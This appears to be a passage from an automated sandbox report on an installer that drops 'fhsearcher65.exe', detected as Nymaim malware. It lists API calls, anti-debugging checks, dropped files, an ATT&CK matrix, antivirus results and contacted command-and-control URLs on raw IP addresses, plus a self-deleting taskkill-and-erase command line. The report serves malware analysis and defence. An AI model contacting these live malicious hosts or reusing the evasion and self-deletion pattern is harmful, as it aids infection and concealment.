Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0047A09C IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	1_2_0047A09C
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00424178 IsIconic,SetActiveWindow,	1_2_00424178
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_004241C0 IsIconic,SetActiveWindow,SetFocus,	1_2_004241C0
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00418368 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	1_2_00418368
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00422840 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	1_2_00422840
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0041757C IsIconic,GetCapture,	1_2_0041757C
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00417CB2 IsIconic,SetWindowPos,	1_2_00417CB2
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00417CB4 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	1_2_00417CB4

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

1_2_0044A890

Source: C:\Users\user\Desktop\file.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe TID: 3400

Thread sleep count: 31 > 30

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_0-4950

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\fhSearcher\is-GCUFF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\fhSearcher\unins000.exe (copy)	Jump to dropped file

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_2-35259

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Code function: __Init_thread_footer,GetUserNameA,GetUserNameA,__Init_thread_footer,GetUserNameA,__Init_thread_footer,GetUserNameA,GetForegroundWindow,GetWindowTextA,Sleep,Sleep,GetForegroundWindow,GetWindowTextA,

2_2_004056A0

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040980C GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

0_2_0040980C

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0046E2D4 FindFirstFileA,FindNextFileA,FindClose,	1_2_0046E2D4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0047694C FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_0047694C
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00450EA4 FindFirstFileA,GetLastError,	1_2_00450EA4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045E738 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_0045E738
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_00474BD0 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_00474BD0
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045EBB4 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_0045EBB4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0045D1B4 FindFirstFileA,FindNextFileA,FindClose,	1_2_0045D1B4
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: 1_2_0048D260 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	1_2_0048D260
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00404490 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,Sleep,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,	2_2_00404490
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004241DD FindFirstFileExW,	2_2_004241DD
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_1000959D FindFirstFileExW,	2_2_1000959D

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000002.339585948.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW46x
Source: fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000002.339585948.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Code function: 2_2_0041371B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_0041371B

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Code function: 2_2_00402BF0 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

2_2_00402BF0

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

1_2_0044A890

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Code function: 2_2_00402F20 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,

2_2_00402F20

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_0044028F mov eax, dword ptr fs:[00000030h]	2_2_0044028F
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004207CF mov eax, dword ptr fs:[00000030h]	2_2_004207CF
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_004429E7 mov eax, dword ptr fs:[00000030h]	2_2_004429E7
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_00417F5F mov eax, dword ptr fs:[00000030h]	2_2_00417F5F
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_100091C7 mov eax, dword ptr fs:[00000030h]	2_2_100091C7
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_10006CE1 mov eax, dword ptr fs:[00000030h]	2_2_10006CE1

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_0040FB39 SetUnhandledExceptionFilter,	2_2_0040FB39
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_0041371B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041371B
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_0040F9A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0040F9A5
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_0040EF82 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040EF82
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_10006180 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_10006180
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_100035DF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_100035DF
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: 2_2_10003AD4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_10003AD4

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "fhsearcher65.exe" /f

Jump to behavior

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "fhsearcher65.exe" /f & erase "C:\Program Files (x86)\fhSearcher\fhsearcher65.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "fhsearcher65.exe" /f			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Code function: 1_2_00459ACC GetVersion,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,AllocateAndInitializeSid,GetLastError,LocalFree,

1_2_00459ACC

Source: fhsearcher65.exe, 00000002.00000002.340066174.000000000396F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: fhsearcher65.exe, 00000002.00000002.340066174.000000000396F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ZK]ZF.program managerl
Source: fhsearcher65.exe, 00000002.00000002.340066174.000000000396F000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: program manager

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,	0_2_0040515C
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,	0_2_004051A8
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: GetLocaleInfoA,	1_2_00408500
Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	Code function: GetLocaleInfoA,	1_2_0040854C
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: GetKeyboardLayoutList,GetLocaleInfoA,__Init_thread_footer,	2_2_00404D40
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	2_2_0042714F
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: EnumSystemLocalesW,	2_2_004273F1
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: EnumSystemLocalesW,	2_2_0042743C
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: EnumSystemLocalesW,	2_2_004274D7
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00427562
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: EnumSystemLocalesW,	2_2_0041E6AF
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: GetLocaleInfoW,	2_2_004277B5
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004278DB
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: GetLocaleInfoW,	2_2_004279E1
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00427AB0
Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	Code function: GetLocaleInfoW,	2_2_0041EBD1

Source: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Code function: 2_2_0043E835 cpuid

2_2_0043E835

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Code function: 1_2_0045604C GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

1_2_0045604C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004026C4 GetSystemTime,

0_2_004026C4

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405C44 GetVersionExA,

0_2_00405C44

Source: C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Code function: 1_2_00453688 GetUserNameA,

1_2_00453688

Stealing of Sensitive Information

Yara detected Nymaim

Source: Yara match	File source: 2.2.fhsearcher65.exe.3770000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.fhsearcher65.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.fhsearcher65.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.fhsearcher65.exe.3770000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.339882305.0000000003770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	1 Access Token Manipulation	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	3 Native API	Boot or Logon Initialization Scripts	13 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	23 Software Packing	NTDS	26 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	11 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	13 Process Injection	Proc Filesystem	11 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Program Files (x86)\fhSearcher\fhsearcher65.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\fhSearcher\is-GCUFF.tmp	2%	ReversingLabs
C:\Program Files (x86)\fhSearcher\unins000.exe (copy)	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_RegDLL.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_iscrypt.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_iscrypt.dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_setup64.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_shfoldr.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_shfoldr.dll	4%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp	3%	Metadefender		Browse
C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\qFUx6kqeb.exe	38%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.is-L5RJL.tmp.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
0.3.file.exe.21d4000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
2.2.fhsearcher65.exe.10000000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
2.2.fhsearcher65.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1250671	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.innosetup.com/	0%	URL Reputation	safe
http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte	0%	URL Reputation	safe
http://107.182.129.235/storage/extension.php	0%	URL Reputation	safe
http://www.remobjects.com/?ps	0%	URL Reputation	safe
http://171.22.30.106/library.php106/library.php	100%	URL Reputation	malware
http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=start&substream=mixinte	0%	URL Reputation	safe
http://www.n-group.info	0%	URL Reputation	safe
http://107.182.129.235/storage/ping.php	0%	URL Reputation	safe
http://171.22.30.106/library.php	100%	URL Reputation	malware
http://www.remobjects.com/?psU	0%	URL Reputation	safe
http://171.22.30.106/library.phpW5	0%	Avira URL Cloud	safe
http://171.22.30.106/library.phpu(_	0%	Avira URL Cloud	safe
http://107.182.129.235/#(u	0%	Avira URL Cloud	safe
http://171.22.30.106/library.php-(	0%	Avira URL Cloud	safe
http://171.22.30.106/library.phped	100%	Avira URL Cloud	malware
http://171.22.30.106/library.phpC	100%	Avira URL Cloud	malware
http://www.fh-group.info/	0%	Avira URL Cloud	safe
http://107.182.129.235/	0%	Avira URL Cloud	safe
http://171.22.30.106/library.phpng.php;53	0%	Avira URL Cloud	safe
http://www.fh-group.info/fhsearcher/help.html1	0%	Avira URL Cloud	safe
http://107.182.129.235/storage/ping.phpt	100%	Avira URL Cloud	malware
http://www.fh-group.info/fhsearcher/download.html	0%	Avira URL Cloud	safe
http://www.fh-group.info/fhsearcher/help.html	0%	Avira URL Cloud	safe
http://www.fh-group.info/-	0%	Avira URL Cloud	safe
http://www.fh-group.info/fhsearcher/help.htmlB	0%	Avira URL Cloud	safe
http://www.fh-group.info/-http://www.fh-group.info/fhsearcher/help.html1http://www.fh-group.info/fhs	0%	Avira URL Cloud	safe
http://171.22.30.106/library.phpq	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte	false	URL Reputation: safe	unknown
http://107.182.129.235/storage/extension.php	true	URL Reputation: safe	unknown
http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=start&substream=mixinte	false	URL Reputation: safe	unknown
http://107.182.129.235/storage/ping.php	true	URL Reputation: safe	unknown
http://171.22.30.106/library.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.innosetup.com/	is-L5RJL.tmp, is-L5RJL.tmp, 00000001.00000000.245657623.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-GCUFF.tmp.1.dr, is-L5RJL.tmp.0.dr	false	URL Reputation: safe	unknown
http://171.22.30.106/library.phpu(_	fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://171.22.30.106/library.phpW5	fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://171.22.30.106/library.phpC	fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.remobjects.com/?ps	file.exe, 00000000.00000003.245213263.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.245058768.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, is-L5RJL.tmp, 00000001.00000000.245657623.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-GCUFF.tmp.1.dr, is-L5RJL.tmp.0.dr	false	URL Reputation: safe	unknown
http://171.22.30.106/library.php106/library.php	fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
